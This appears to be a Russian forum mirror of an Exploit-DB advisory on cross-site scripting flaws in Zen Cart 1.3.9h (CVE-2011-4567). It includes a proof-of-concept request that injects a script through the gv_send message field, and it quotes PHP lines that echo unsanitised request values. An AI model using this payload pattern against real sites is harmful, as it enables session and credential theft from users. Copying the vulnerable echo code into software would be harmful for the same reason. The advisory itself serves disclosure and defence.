- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 36346
- Проверка EDB
-
- Пройдено
- Автор
- RPINTO
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2011-4567
- Дата публикации
- 2011-11-23
Zen Cart CMS 1.3.9h - Multiple Cross-Site Scripting Vulnerabilities
Код:
source: https://www.securityfocus.com/bid/50787/info
Zen Cart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Zen Cart 1.3.9h is vulnerable; other versions may also be affected.
GET: https://www.example.com/index.php?main_page=gv_send&action=send
POST: message=</textarea><script>alert("XSS");</script><textarea>
line 72: echo '<br /><strong>TESTING INFO:</strong> Time page: <strong>' . $_GET['main_page'] . '</strong> was loaded is: <strong>' . date('H:i:s', time()) . '</strong><br /><br />';
...
line 75: echo "GLOBALS[$main_page] and HTTP_GET_VARS['main_page'] and _GET['main_page'] = " . $GLOBALS['main_page'] . ' - ' . $HTTP_GET_VARS['main_page'] . ' - ' . $_GET['main_page'] . '<br /><br />';
...
line 76: echo "_SERVER['PHP_SELF'] and _GET['PHP_SELF'] and PHP_SELF and _SESSION['PHP_SELF'] = " . $_SERVER['PHP_SELF'] . ' - ' . $_GET['PHP_SELF'] . ' - ' . $PHP_SELF . ' - ' . $_SESSION['PHP_SELF'] . '<br /><br />';
- Источник
- www.exploit-db.com